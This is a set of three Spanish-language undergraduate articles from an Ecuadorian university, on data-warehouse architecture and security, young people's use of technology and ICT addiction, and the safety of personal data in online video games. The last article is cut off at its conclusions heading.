Bryan Argenis Choez Salazar alumno de la carrera “Tecnologías de la Información” de la Universidad Estatal del Sur de Manabí, Bachiller en Electromecánica Automotriz en la Unidad Educativa Fiscal Mixta “Dr. Eduardo Granja Garcés” Pedro Carbo – Guayas – Ecuador.

Kirenia Maldonado Zuñiga Máster en Ciencias de la Educación, Licenciada en Educación Informática, Universidad de Ciencias Pedagógicas, Holguín Cuba.

IMPORTANCIA DE LAS NORMAS DE SEGURIDAD DE DATOS EN LA DATAWAREHOUSE

Jonathan Rafael Vélez Guerrero,
Kevin Alexander Salvatierra Pita,
Ing. Edwin Joao Merchán Carreño. Mg.
Ing. Karina Virginia Mero Suárez. Mg.
Ing. Carlos Renán Mero Suárez. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

andysalvatierra@hotmail.com

RESUMEN

La presente investigación es un estudio sobre como transformar posibles problemas, en soluciones en data warehosue, siendo estos una colección de datos orientada a un determinado ámbito que ayuda a la toma de decisiones en la entidad o empresa en la que se emplea. La data warehouse está conformado por algunas capas en su arquitectura, estas capas son de gran importancia para su debido funcionamiento. Este trabajo de investigación tiene como objetivo dar a conocer la importancia que tienen las normas de seguridad de datos en un Data Warehosue. En cuanto al desarrollo de este se abordaron los métodos de la investigación científica tales como: análisis- síntesis e histórico- lógico, por otra parte, la optimización indica que hay muchas formas de mejorar la arquitectura de una Data-Warehouse, pero la más relacionada con la materia es la que se posteó en la página de PowerData especialista en gestión de datos en su publicación mencionando que: “un sin número de empresas se basan en la tecnología Business Intelligence (BI) para de esta forma poder tomar mejores decisiones de negocio, que ayuden a impulsar su rendimiento”, definiendo así, que la arquitectura de una data warehouse es uno de los pilares fundamentales para alcanzar el objetivo”.

PALABRAS CLAVE: business intelligence, data warehouse, optimización

ABSTRACT

The present investigation is a study on how to transform possible problems, in solutions in data warehosue, being these a collection of data oriented to a certain area that helps the decision making in the entity or company in which it is used. The data warehouse is made up of some layers in its architecture, these layers are of great importance for their proper functioning. This research work aims to raise awareness of the importance of data security standards in a Data Warehouse. Regarding the development of this, the methods of scientific research such as

analysis-synthesis and historical-logical, on the other hand, the optimization indicates that there are many ways to improve the architecture of a Data Warehouse, but the most related with the subject is the one that was posted on the page of PowerData specialist in data management in its publication mentioning that: "a number of companies are based on Business Intelligence (BI) technology in order to make better business decisions , that help boost their performance ", defining that the architecture of a data warehouse is one of the fundamental pillars to reach the goal".

KEYWORDS: business intelligence, data warehouse, optimization.

1. INTRODUCCIÓN

Hoy en día cualquier empresa o asociación disponen de los datos, lo normal es que la acogida de información o datos sea mucho mayor a lo normal, actualmente los medios sociales y fuentes desconocidas ayudan a la elaboración propia de los datos y esto ayuda a que se guarde con incremento propio sin terminal el volumen y la complejidad de la información y los datos de esta, a mayor cantidad de datos se puede provocar una caída de tal por ejemplo: cuando una persona realiza una consulta el usuario necesita una pronta respuesta del servidor ahí es donde entra el data warehouse porque se migran los datos a un entorno de la data warehouse.

La data warehouse cuenta con la capa de integración la cual almacena y prepara los datos brutos extraídos (power data, 2017). Se necesita un impulso en el rendimiento del análisis, se requiere una mayor rapidez al momento de la toma de decisiones, aumentar la compartición de información y, no quedara otra forma más que migrar los datos. Y es en este instante cuando la mayoría de las empresas caen en cuenta de que no tienen preparada una estrategia de gestión de datos que pueda almacenar más. Y es en este instante donde caen en cuenta que se debe enmendar fallas del pasado que, por desconocimiento, porque no cuentan con suficiente tiempo, de perspectiva o por dudas (power data especialista en gestión de datos, 2018).

La estructura de un Data warehouse puede tener una variedad de composición en distintas implementaciones. Algunas podrían llegar a tener un ODS (operational data store), cuanto otras pueden llegar tener varias datas marts. (PowerData Especialistas en Gestion de Datos, 2016).

Hay muchas formas de optimizar la arquitectura de una Data-Warehouse, pero las relacionada con la materia es la que se posteo en la página de PowerData especialista en gestión de datos en su publicación

2. DESARROLLO

Una data warehouse es un sistema que sirve para reportar y analizar datos (power data, 2017). Que Trabaja por capas, muy seguido suelen presentar una compleja lógica interna de negocios y de transformación y, algunas veces, no son sencillas de distinguir como bloques arquitectónicos discretos. Los estudios recientes lo han hecho esto más fácil y permiten optimizaciones significativas (power data, 2017).

Cualquier persona que tenga conocimientos o sepa algo sobre una data warehouse sabe por defecto que una migración es una ocasión que nunca se debe dejar desapercibido o pasar por alto, no se habla de la capacidad de espacio, o la agilidad de los datos, sino que es más bien una oportunidad que se nos da muchas veces, pero no hemos sabido aprovecharla, debido al desconocimiento de tal, ya que muchos no tienen la facilidad de entender (power data especialista en gestión de datos , 2016).

Puede tratarse de una migración tradicional o tirada a la antigua utilizando un modelo data warehouse donde los datos se mueven de un lugar a otro, por ejemplo, el más conocido es el ejemplo caro de la nube, aquí esta información pasa de un servidor físico a uno lógico, el principal objetivo es perseverar la inversión y maximizar la calidad de los datos que se están moviendo de lugar. (power data especialista en gestión de datos, 2016).

Se necesita mejorar el rendimiento de análisis de los datos, buscando agilizar todas las decisiones, mejorando el intercambio de información y no queda más que migrar datos de un lugar a otro y es ahí cuando muchas empresas se enteran de que no tienen una estrategia de gestión de los datos a gran escala. (power data especialista en gestión de datos, 2016).

Aquí en este paso tenemos que corregir errores del pasado que perjudican a la empresa por desconocimiento por falta de interés o duda esto provoca muchas dudas y se corrigen errores que quedaron pendientes de resolver y así es hora de enfrentarlos (power data especialista en gestión de datos, 2016).

5. Dificultades en la elección tecnológica: aquí no se puede hacer una pausa ya que es una operación de análisis cuando se realiza la migración a un nuevo sitio en la data warehouse, las personas de los negocios tienen que saber ciertos conocimientos y cuadros de mando y datos. Por eso se plantea lo siguiente:

- Elegimos herramientas ya dadas integrando la calidad de datos, que resguardan la productividad y la capacidad que se necesita para reducir los riesgos que se presentan y maximizar la entrega.

- Mejorar las soluciones que maximizan la utilización de los datos y las normas de calidad de las grandes cantidades de datos.

6. Problemas de calidad de datos: es palpable que a ninguno le importa lograr la migración de los datos que son erróneos debido a los nuevos sistemas, debido a que esto podría llegar a afectar el análisis y por ende las decisiones que se lleguen a tomar a futuro en el negocio. En pocas palabras la migración de datos es por decir una oportunidad única en lo que respecta a la data warehouse para poder elaborar un ambiente de gestión de datos flexibles, que sea similar no solo a un tipo de datos y que pueda traer consigo herramientas de integración y calidad de datos. Es indispensable tratar de buscar herramientas que puedan facilitar y permitir un nivel alto de productividad en los desarrolladores, pero que al mismo tiempo genere una conectividad integral y que almacenen elementos para propiciar el trabajo conjunto entre IT y negocio (power data especialista en gestión de datos, 2016).

C) Inconsistencia en el gobierno de los datos: está relacionada con la responsabilidad de devolver los datos de confianza sobre una base continua, si pensamos más allá del concepto de aplicación de políticas, también trata de delegar a los encargados de los datos y exportar mejores prácticas (power data especialista en gestión de datos, 2016). “La estructura de una Datawarehouse puede tener diferentes modelos en diferentes ámbitos, unas puedes tener ODS mientras que otras pueden tener diferentes datos para ser implementados La arquitectura de un data warehouse puede tener diferentes estructuras en diferentes implementaciones (PowerData Especialistas en gestión de Datos, 2016).

También mencionan las propiedades esenciales para la arquitectura de una Data-Warehouse son:

“Separación: es el proceso de separar los datos tanto como sean posibles dentro de los servidores posibles (PowerData Especialistas en gestión de Datos, 2016).

Escalabilidad: la estructura de una data tanto como en software o hardware tiene que ser fácil de actualizar a medida del incremento de los datos de un Datawarehouse, así como el número de requerimientos que se necesitan para implementar una data o estructura de datos (PowerData Especialistas en Gestión de Datos, 2016).

Extensibilidad: la estructura tiene que ser capaz de contener nuevos aplicativos y tecnología sin necesidad de revisar todos los datos del sistema que se (PowerData Especialistas en Gestión de Datos, 2016).

Seguridad: es todo lo que tiene que ver con la seguridad que se les dan a los datos dentro de una data warehouse

Administrabilidad: les todo lo que se puede administrar dentro de una servidos pudiendo administrar los datos que posee

Capa de fuentes de datos: aquí tenemos que tener en cuenta el tipo de formato que se pondrá dentro de los datos, puede ser cualquier archivo de datos como Excel etc. Todos estos pueden servir como una fuente de datos que se utilizara en algún momento además los datos pueden ser de un sinnúmero de formatos dentro de los datos (PowerData Especialistas en Gestión de Datos, 2016).

Capa de extracción de datos: aquí los datos tienen que ser extraídos de donde están alojados para poder ser utilizados por el usuario dentro de una data warehouse (PowerData Especialistas en Gestión de Datos, 2016).

Área de pruebas: aquí es donde todos los datos son puestos a prueba y se verifica todos sus detalles, donde se creó por qué y para que esto facilitara el proceso a la data (PowerData Especialistas en Gestión de Datos, 2016).

Capa ETL: aquí es donde los datos obtienen su inteligencia esto quiere decir que toman formato y caracteres para poder ser entendidos por el usuario mejorando su naturaleza o su origen (PowerData Especialistas en Gestión de Datos, 2016).

Capa de almacenamiento de datos: Aquí es dónde se colocan los datos transformados y limpios. (PowerData Especialistas en Gestión de Datos, 2016).

Capa lógica de datos: Aquí es donde se almacenan las reglas de negocio. Estas reglas de negocio no afectan a las reglas de transformación de datos, pero afectan a lo que luego puedes ver en los informes (PowerData Especialistas en Gestión de Datos, 2016).

Capa de presentación de datos: esto trata de toda la información que tiene que ser receptada por el usuario. Esto se hace de manera de informe o también puede ser desde un navegador que no habría diferencia alguna, generalmente este tipo de capa se las utiliza por un tipo de herramienta que la de generación de informes (PowerData Especialistas en Gestión de Datos, 2016).

Capa de metadatos: es aquí donde toda la información recolectada sobre los datos que han sido guardados en el data warehouse, uno de los modelos de datos que serían lógicos, aquí se

usa una herramienta muy importante que es la de administrar los metadatos (PowerData Especialistas en Gestión de Datos, 2016).

Capa de operaciones del sistema: en esta capa se almacena todo tipo de información sobre como es el funcionamiento del sistema, cual es el rendimiento del sistema. (PowerData Especialistas en Gestión de Datos, 2016).

Hay muchas formas de optimizar la arquitectura de una Data-Warehouse, pero la más relacionada con la materia es la que se posteo en la página de PowerData especialista en gestión de datos en su publicación “como optimizar la arquitectura de una Data Warehouse. “la mayor parte de este tipo de tecnologías se las usa para llegar con una myor respuesta y seguridad a la toma de decisiones. La inteligencia que se usan en las empresas se usa para realizar retos infraestructurales relacionados con la variedad de formatos (PowerData, 2016).

El estudio previo por plantearse qué es una data warehouse y empezar a trabajar con uno en la organización suele definirse por datos guardados en diferentes lugares, tantos como sistemas de origen. El problema de este enfoque es la falta de integración, algo que resuelve el almacén de datos (PowerData, 2016).

¿Ya te has preguntado qué es una data warehouse?

La centralización de todo tipo de información recopila los registros históricos y actuales ya que cualquier informe se deriva de la información que se tiene. Al tener un almacén de datos que reducirá mucho el tiempo para que las operaciones sean más eficientes (PowerData, 2016).

Minimizar el riesgo depende de decisiones como ésta. Y es que, métodos tradicionales como las hojas de cálculo, están diseñados para funcionar con una cantidad fija de datos que, si se supera, comienza a generar problemas de agilidad, de confiabilidad o de completitud (PowerData, 2016).

Es mucho más sencillo controlar la calidad de los datos en un almacén de datos centralizado (algo que tienen claro quienes saben qué es una data warehouse) que hacerlo en múltiples repositorios independientes. La aparición de duplicidades es una de las pruebas más claras de este tipo de cuestiones de data quality (PowerData, 2016).

3. MATERIALES Y MÉTODOS

Los métodos teóricos tales como: análisis – síntesis y histórico – lógico, se utilizaron para profundizar la información sobre Data-warehouse y sus características principales.

4. RESULTADOS Y DISCUSIÓN

Mediante diversas fuentes bibliográficas esta investigación aportó con información detallada sobre Data-warehouse, sus principales características, sus funcionalidades, y sus ventajas a la hora de ser implementadas dentro del ámbito informático.

5. CONCLUSIONES

En conclusión, Data Warehouse es una herramienta muy crucial e importante en una empresa u organización, considerando así, que el uso de las normas de seguridad es transcendental, teniendo como único fin mejorar y aumentar la seguridad del mismo. Cabe recalcar que una de las características más relevantes del Data Warehouse son sus diferentes capas que se complementan para mejorar sus funcionalidades y su efectividad.

REFERENCIAS BIBLIOGRÁFICAS

Power data especialista en gestion de datos, jueves, 30 de marzo de 2017.

Power data especialista en gestion de datos, viernes, 11 de noviembre del 2016.

Power data especialista en gestion de datos, lunes, 19 de diciembre de 2016”“Power data especialista en gestion de datos, martes, 14 de junio de 2016.

Power data especialista en gestion de datos, miércoles, 02 de noviembre de 2016.

BIOGRAFÍAS DE AUTORES

Jonathan Rafael Vélez Guerrero, Estudiante de Pregrado de Noveno Semestre de la carrera de Ingeniería en Sistemas Computacionales en la Universidad Estatal Del Sur De Manabí. Jipijapa-Manabí-Ecuador.

Kevin Alexander Salvatierra Pita, Estudiante de Pregrado de Noveno Semestre de la carrera de Ingeniería en Sistemas Computacionales en la Universidad Estatal Del Sur De Manabí. Jipijapa, Manabí-Ecuador.

Edwin Joao Merchán Carreño. Docente de la universidad Estatal del Sur de Manabí.

Karina Virginia Mero Suárez. Docente de la universidad Estatal del Sur de Manabí.

Carlos Renán Mero Suárez. Docente de la universidad Estatal del Sur de Manabí.

EL USO DE LA TECNOLOGÍA Y LA INFLUENCIA QUE EJERCE EN LA JUVENTUD DEL SIGLO XXI

Lilian Jacqueline Delgado Gonzales,

Loor Muñiz Jahaira Mariuxi,

Ing. Karina Virginia Mero Suárez. Mg.

Ing. Edwin Joao Merchán Carreño. Mg.

Ing. Carlos Renán Mero Suárez. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

liliand10@gmail.com

RESUMEN

El presente trabajo de investigación hace énfasis a como la juventud o también llamados millennials se han desarrollado en un medio de vida netamente tecnológico, donde los ordenadores, videojuegos, internet y demás medios digitales son implementos del día a día. Normalmente la rutina incluye a la tecnología como un factor potencial para disminuir el esfuerzo y a su vez mejorar los resultados obtenidos de un trabajo. Esta investigación tiene como objetivo primordial dar a conocer de qué manera la juventud utiliza la tecnología empleando el internet como recurso tecnológico. Un estudio realizado en varios países revela que la población de entre 12 y 18 años son los más propensos al consumo de este servicio con fines de ocio más que educativos, llámese uso de redes sociales y video juegos en línea. Para determinar aquello se abordaron los métodos de la investigación científica tales como: análisis-síntesis, histórico-lógico, por otra parte, la utilización del recurso internet no está mal vista, pero debería dársele variedad para la información y educación, así como para distraerse de vez en cuando. Definiendo así, que una tercera parte de la población estimada entre los 12 y 18 años no llega a utilizar portales de redes sociales o blogs, o en su efecto no llegan a introducirse en el mundo de los juegos en línea, ya que simplemente no les llama la atención y tienen prioridades con otras fuentes. Es desde este punto que se determina que no simplemente es adquirir y dejar que los jóvenes usen la tecnología a sus anchas, si no, que se debe concientizar su uso y aplicación en el vivir diario.

PALABRAS CLAVES: educación, internet, influencia, millennials, orientación.

ABSTRACT

This research work emphasizes how youth or millennials are developed in a purely technological way of life, where computers, video games, internet and other digital media are

day-to-day implements. Normally the routine includes technology as a potential factor to reduce the effort and in turn improve the results obtained from a job. The main objective of this research is to show how young people use technology using the Internet as a technological resource. A study conducted in several countries reveals that the population between 12 and 18 years are the most likely to consume this service for leisure rather than educational purposes, call use of social networks and online video games. In order to determine that, the methods of scientific research such as: analysis-synthesis, historical-logical, were approached, on the other hand the use of the Internet resource is not frowned upon, but should be given variety for information and education as well as to be distracted from time to time. in when Defining this way, that a third of the estimated population between 12 and 18 years old does not use social media portals or blogs, or in their effect they do not get to enter the world of online games, because they simply do not It draws attention and has priorities with other sources. It is from this point that it is determined that it is not simply to acquire and let the young people use technology at their ease, but that their use and application must be made aware in daily life.

KEYWORDS: education, Internet, influence, millennials, orientation.

1. INTRODUCCIÓN

Hoy en día ser adolescentes, no es nada fácil, son muchos los inconvenientes con los que hay que lidiar en esta generación que nunca antes había sido tan predilecta, aunque muchos ven estas ventajas obscuras por los problemas económicos de sus familias que los convierten en mártires de una crisis económica que ellos no han provocado. Lamentablemente en muchas ocasiones por medio del internet muchos adolescentes se han visto envueltos en situaciones muy difíciles de creer, donde ellos siendo jóvenes exponen sus vidas en muchas ocasiones de maneras muy imprudentes y que de una manera u otra llegan a dañar la imagen y atraen consecuencias a corto o largo plazo.

Esta investigación es de interés científico dado el punto que se quiere determinar cuáles son los cambios y evoluciones que han tenido las generaciones, así como, el aumento en la capacidad de adaptación y asimilación de nuevos conocimientos y tecnologías que surgen día tras día. Su enfoque es más para descubrir la evolución que da el cerebro para obviar datos menores e inclinarse a fuentes de conocimientos mucho más elaboradas y complejas en comparación a las que se tenían anteriormente.

Por lo cual uno de los objetivos de estudio planteados en esta investigación es dar a conocer de qué manera la juventud utiliza la tecnología empleando el internet como recurso tecnológico.

2. DESARROLLO

La investigación fue realizada bajo los parámetros de casos y controles, donde se busca un modo específico de cómo se podría llegar a controlar el uso indebido de los medios tecnológicos, específicamente internet como base y en referencia directa, ya que, es uno de los medios más utilizados y cuyas funciones dan una infinidad de posibilidades de uso, por lo cual debe ser delimitada y controlada correctamente.

La población en este estudio fue generalizada porque al concentrarse en un entorno específico donde se desenvuelven los personajes o sujetos de estudio sería delimitar las resultantes y las fuentes que se obtienen serían pocas y de poco criterio general. Para esto las encuestas y entrevistas a jóvenes fueron esenciales y de gran importancia para definir los resultados. La ambigüedad y tabúes fueron los principales problemas para la obtención de la información, pero se pudo sobrellevar entrando en confianza con la juventud.

El análisis del movimiento CTS en América Latina plantea una cuestión de definiciones previas: qué es CTS como campo de reflexión, de preocupaciones intelectuales, sociales y políticas; qué se entiende por movimiento en relación con una preocupación de esta índole; de qué ciencia y tecnología estamos hablando cuando nos referimos a América Latina; qué status asignamos a la expresión América Latina en tanto marco o unidad de reflexión, o en otros términos, en qué medida resulta legítimo pensar en América Latina como objeto unitario.

La primera cuestión citada anteriormente ha sido tratada por López Cerezo, lo cual nos invita a obviar su tratamiento. Esto alude al hecho de considerar -como con todo otro campo intelectual o científico- el carácter universal del conocimiento. En tal sentido, el campo CTS merece las mismas definiciones y categorías -aunque quizá no sus determinaciones- en el sur como en el norte.

La Responsabilidad en la formación del trabajador social, que tiene la intencionalidad de lograr una adecuada comprensión de la ciencia y la tecnología como fenómenos sociales, ya sea de las ciencias naturales, tecnológicas o sociales y humanas, y de sus interrelaciones a partir del todo que estudian: la naturaleza y la sociedad, la vida y la existencia humana, para de ahí comprender y desarrollar actitudes de responsabilidad social.

El punto de partida de esta investigación se halla en los resultados obtenidos en el diagnóstico de imágenes de la ciencia y la tecnología, realizado (proyecto anterior), a una muestra de estudiantes del programa de Trabajo Social en la universidad, donde se caracterizó las percepciones que sobre la ciencia y la tecnología tienen éstos, la cual fue definida como:

tradicional, intelectualista e instrumental, y por tanto de corte lógico positivista. La universidad debe identificar y precisar la dirección del cambio para su transformación, proyectándose al futuro y promoviendo a la vez las medidas necesarias para la educación en la sociedad, también generar nuevas profesiones e investigaciones y profesionales.

El derecho humano al desarrollo implica también la plena realización del derecho de los pueblos a la libre determinación, que incluye (...) la plena soberanía sobre todas las riquezas y recursos naturales». Así mismo, en el artículo segundo se plantea: «la persona humana es el sujeto central del desarrollo y debe ser el participante activo y el beneficiario del derecho al desarrollo». (ONU; 1996:36). De esto se infiere que la educación es determinante para el desarrollo, tanto a escala social, como personal.

La universidad contemporánea debe coadyuvar al Desarrollo Humano, y para ello debe promover cambios educativos que respondan al nuevo patrón científico-tecnológico, y a una sólida formación socio humanista. Por una parte, puesto que la concepción de Desarrollo Humano busca unir en una dinámica social el crecimiento económico, la participación ciudadana y el desarrollo de la subjetividad en valores de responsabilidad y compromiso social.

Por la otra parte, el nuevo patrón científico-tecnológico se caracteriza por la rapidez en sus ciclos de vida, respuestas flexibles a los requerimientos del mercado y a las necesidades sociales, alta velocidad de innovación, rapidez en la aplicación y generalización de las nuevas tecnologías, así como la ampliación de las tecnologías intensivas en conocimientos e información; lo cual exige un profesional capaz de enfrentar la realidad con capacidad de respuesta al entorno concreto y cambiante, es decir con competitividad, adaptabilidad, eficacia y pertinencia social.

Para los países en vías de desarrollo, lo anterior es un gran reto, pues, por un lado, está la carencia de recursos económicos, financieros y humanos calificados profesionalmente, y por otro, la carencia y/o debilidad de políticas y estrategias integradas hacia este objetivo del desarrollo, que obstaculiza la transición hacia el patrón científico-tecnológico vigente. Las universidades tienen la responsabilidad social de identificar la dirección del cambio, y tomar decisiones para integrarse al presente y proyectarse al futuro, por medio de la creación de nuevas profesiones e investigaciones; nuevas formas de relación articulada con el sector empresarial, instituciones y centros de I+D; profesionales cualificados y competitivos, comprometidos y responsables con el desarrollo humano sostenible.

Las Tecnologías de la Información y la Comunicación (TIC) generan profundos cambios en nuestra sociedad. Como esta influencia es especialmente notable en los adolescentes, se hace imprescindible describir posibles desadaptaciones para evaluar el impacto en el desarrollo psicosocial, concretamente en el proceso de socialización y adquisición de la identidad personal.

Los adolescentes, fascinados por Internet, el móvil y los videojuegos, han encontrado en estas tecnologías un medio extraordinario de relación, comunicación, aprendizaje, satisfacción de la curiosidad, ocio y diversión. Poco a poco, esto conlleva que las TIC se conviertan en un elemento importante e imprescindible en sus vidas (Machargo, Luján, León, López y Martín, 2003).

El diagnóstico de la adicción a las TIC parte del mismo principio que las adicciones a sustancias. Se señalan tres síntomas nucleares (Echeburúa, 1999; Griffiths, 2000; Washton y Boundy, 1991):

- Incapacidad de control e impotencia. La conducta se realiza pese al intento de controlarla y/o no se puede detener una vez iniciada.
- Dependencia psicológica. Incluye el deseo, ansia o pulsión irresistible (craving) y la polarización o focalización atencional (la actividad se convierte en la más importante al dominar pensamientos y sentimientos).
- Efectos perjudiciales graves en diferentes ámbitos para la persona (conflicto intrapersonal: experimentación subjetiva de malestar) y/o su ámbito familiar y social (conflicto interpersonal: trabajo, estudio, ocio, relaciones sociales, etc.).

Los síntomas no esenciales más frecuentes son:

Tolerancia y abstinencia; b) Modificación del estado de ánimo. Sensación creciente de tensión que precede inmediatamente el inicio de la conducta. Placer o alivio mientras se realiza la conducta. Agitación o irritabilidad si no es posible realizar la conducta; c) Euforia y trance mientras se desarrolla la actividad; d) Negación, ocultación y/o minimización; e) Sentimientos de culpa y disminución de la autoestima; y f) Riesgo de recaída y de reinstauración de la adicción.

3. MATERIALES Y MÉTODOS

Los materiales que utilizamos son los siguientes:

- Computadora
- Uso del internet
- Microsoft Office
- Información de los docentes

En cuanto al desarrollo de esta investigación se abordaron los métodos teóricos tales como: análisis – síntesis, histórico – lógico, que permitieron profundizar el uso de las tecnologías en la juventud del siglo 21 y a su vez recopilar información con el propósito de enriquecer vuestros conocimientos sobre el tema.

4. RESULTADOS Y DISCUSIÓN

Como resultado tenemos que lo mejor que pueden hacer los padres y educadores para ayudar a los adolescentes a utilizar correctamente las nuevas tecnologías es estar informado sobre la utilización de internet, sus novedades y sus amenazas.

Como discusión tenemos que muchos jóvenes envidiamos la vida que llevaban nuestros padres cuando eran adolescentes. La actividad “fuera de casa” suele ser lo principal, ya que se llevaba a cabo una rutina más social. Hoy en día se lleva a cabo una vida más sedentaria, con muchas horas frente al televisor, la computadora y el teléfono.

Dada la alarma social que ha producido el mal uso de las TIC por parte del adolescente, se habría de facilitar la investigación sobre el uso que hacen de estos recursos con el fin de prevenir futuros problemas relacionados con la utilización de estas tecnologías.

5. CONCLUSIONES

Bajo la investigación sobre el uso de la tecnología y la influencia que ejerce está en la juventud del siglo 21 podemos definir lo siguiente:

- Los jóvenes tienen un mundo abierto de posibilidades que solo será definido por nuestras decisiones al momento de utilizar la tecnología.
- Los controles deben ser establecidos de manera que se pueda vigilar así sea en menor medida la actividad e interacción de la juventud con la tecnología.
- Se debe inculcar una disciplina y conversar acerca de lo que se puede llegar a lograr gracias a la tecnología y lo que se puede, pero no se debe hacer usando la misma.

REFERENCIAS BIBLIOGRÁFICAS

- Arana Ercilla, M. H., Duque Cajamarca, P., Quiroga Parra, M. C., & Vargas Jaimes, F. (2008). Una aproximación a la responsabilidad social en la formación del trabajador social desde los Estudios de Ciencia, Tecnología y Sociedad. Tabula Rasa, (8).
- Berrios, L., & Buxarra, M. R. (2005). Las tecnologías de la información y la comunicación (TIC) y los adolescentes. Algunos datos. OEI, Monografías virtuales: Ciudadanía, democracia y valores en sociedades plurales, 5.
- Cabero, J. (2001). Tecnología educativa. Diseño y utilización de medios en la enseñanza. Consultado de:
- https://s3.amazonaws.com/academia.edu.documents/39137939/9_resena_2Julio_Cabero.pdf?AWSAccessKeyId=AKIAIWOWYYGZ2Y53UL3A&Expires=1531275770&Signature=ksugfwbj3dwmliz5fbmx8kjr%3D&response-content-disposition=inline%3B%20filename%3D9_resena_2Julio_Cabero.pdf
- Castellana Rosell, M., Sánchez-Carbonell, X., Graner Jordana, C., & Beranuy Fargues, M. (2007). El adolescente ante las tecnologías de la información y la comunicación: Internet, móvil y videojuegos. Papeles del psicólogo, 28(3).
- Espinar-Ruiz, E., & González-Río, M. J. (2008). Jóvenes conectados: Las experiencias de los jóvenes con las nuevas tecnologías.

BIOGRAFÍAS DE AUTORES

Lilian Jacqueline Delgado Gonzales, Estudiante de 9no semestre de la carrera Ingeniería en sistemas computacionales de la Universidad Estatal del Sur de Manabí, Portoviejo-Manabí-Ecuador

Loor Muñiz Jahaira Mariuxi, Estudiante de 9no semestre de la carrera Ingeniería en Sistemas Computacionales de la Universidad Estatal del Sur de Manabí, Jipijapa – Manabí – Ecuador.

Edwin Joao Merchán Carreño. Docente de la universidad Estatal del Sur de Manabí.

Karina Virginia Mero Suárez. Docente de la universidad Estatal del Sur de Manabí.

Carlos Renán Mero Suárez. Docente de la universidad Estatal del Sur de Manabí.

SEGURIDAD EN LA INFORMACIÓN PERSONAL DE LOS VIDEOJUEGOS

Hugo Sebastián Franco Holguín,

Jefferson David Aragundi Mero,

Ing. Edwin Joao Merchán Carreño. Mg.

Ing. Karina Virginia Mero Suárez. Mg.

Ing. Carlos Renán Mero Suárez. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

hugofranc11@hotmail.com

RESUMEN

En la actualidad los videojuegos se han convertido en el centro de atención de muchas personas puesto que, forman parte de la vida cotidiana. Los videojuegos comenzaron a ser rentables no solo para las empresas, sino también para los delincuentes que a menudo se aprovechan del poco conocimiento que los jugadores tienen acerca de los peligros que asechan en los diferentes juegos online, los jugadores están expuestos a que su información personal sea manejada por facinerosos como son los cyber-hacker, por tanto esta investigación tiene como objetivo primordial dar conocer todo lo relacionado a la seguridad en la información personal de los videojuegos, puesto que, las diferentes empresas desarrolladoras de videojuegos y consolas cuentan con normas, medidas de seguridad y privacidad de los usuarios, en cuanto al desarrollo de este trabajo de investigación se abordaron métodos de la investigación científica, predominando el método análisis- síntesis, definiendo así, que los videos juegos no son del todo seguros, puesto que, con tanta delincuencia que actualmente existe en la red, cada usuario está expuesto a posibles riesgos y amenazas por parte de los cyber-hacker, que tienen como objetivo a los jugadores y a las mismas empresas, cabe recalcar que es posible disfrutar de los videojuegos aplicando buenas prácticas y medidas de seguridad.

PALABRAS CLAVE: cyber-hacker, empresas, facinerosos, videojuegos.

ABSTRACT

Nowadays, video games have become the center of attention for many people, since they are part of everyday life. Videogames started to be profitable not only for companies, but also for criminals who often take advantage of the little knowledge that players have about the dangers that lurk in different online games, we are very exposed to our personal information being managed by criminals such as cyber-hackers, so this research has as its primary objective to know everything related to security in the personal information of video games, since, the

different video game and console development companies have standards, measures security and privacy of users, in terms of the development of this research work methods of scientific research were addressed, predominantly the analysis-synthesis method, defining that video games are not entirely safe, since, with so much crime that currently exists on the network, each user is exposed to possible Risks and threats by cyber-hackers, which are aimed at players and the companies themselves, it should be stressed that it is possible to enjoy video games by applying good practices and security measures.

Keywords: cyber-hacker, business, delinquents, video game.

1. INTRODUCCIÓN

La aparición y popularidad de internet en los 90 previeron que, tarde o temprano, se produciría una convergencia tecnológica entre el mundo de los videojuegos e internet, si bien, las limitaciones de las tarjetas gráficas de los ordenadores y del ancho de banda de la red de internet no lo han hecho hasta hace pocos años.

La llegada de la nuevas plataformas y tecnologías ha sido aprovechada tanto por los desarrolladores de videojuegos como por los cyber-hacker, han conseguido introducirse en prácticamente todas las plataformas. Por lo que sus ataques se han centrado en el cyber-activamos y en las ventas de vulnerabilidades de juegos online. (Pérez, 2013)

En la actualidad, los ciberdelincuentes pueden aprovechar vulnerabilidades con el fin de controlar maquinas remotamente o instalar malware para poder así obtener acceso a la información confidencial de los jugadores. Estos datos pueden ser muy valiosos y encontrarse en dispositivos de todo tipo como PCs, consolas o también teléfonos móviles.

Según (González Herrero, 2009) Los videojuegos han sufrido numerosas transformaciones desde 1952 el primer juego fue “las 3 en raya, y en 1972” se comercializaron los primeros videojuegos a través de videoconsolas caseras y maquina recreativas. Sim embargo hasta los 80, tras la inversión del ordenador personal de IBM, cuando la industria de los videojuegos viviera su primer gran impulso.

Es fundamental destacar que el hackeo ético en los juegos en línea es explotar las vulnerabilidades existentes de mayor interés en los sistemas de juego, con el único propósito de demostrar que la mayoría son vulnerables, la toma de medidas preventivas contra posibles ataques no será tarea fácil pero tampoco imposible por el crecimiento de la tecnología. Los cibercriminales o también llamados delincuentes de juegos aprovechan que muchos jugadores

desactivan sus cortafuegos durante la partida online para infectar sus equipos con facilidad. Sin embargo, la fascinación y el aumento de usuarios a una cierta dependencia han contribuido a que se dé un aumento de robo de claves, suplantación de identidad, o ciberbullying. Los delincuentes saben que a los más jóvenes les encanta jugar de forma online y además conocen los distintos medios que estos utilizan para jugar. Esta información es utilizada con el fin de engañar a los usuarios, en especial a los más pequeños, para cometer distintos tipos de fraudes. (Mendoza Roque, 2014, pág. 72)

Los delincuentes también intentan obtener los datos de los usuarios atacando directamente a los desarrolladores de juegos. Blizzard, Steam o Sony, entre otras empresas, han sido víctimas de brechas de datos confidenciales a sus clientes, desde información personal hasta tarjeta de crédito. (Portaltic/EP, 2017)

2. MATERIALES Y MÉTODOS

Materiales

- Computadoras
- Internet
- Revistas
- Artículos

Metodología: En el presente trabajo de investigación se utilizó los métodos teóricos tales como análisis-síntesis, para profundizar la existencia de los videojuegos y su inclinación en el mundo del internet.

3. RESULTADOS Y DISCUSIÓN

En base a las investigaciones y análisis realizadas a grupos y foros donde se comparte información de juegos, se logró ver algunos casos de estafas, sustracción de información personal y ciberbullying, todo esto gracias a la recopilación de información lo cual permitió definir que las personas más vulnerables a sufrir un ciberbullying y estafas serían los jóvenes.

4. CONCLUSIONES

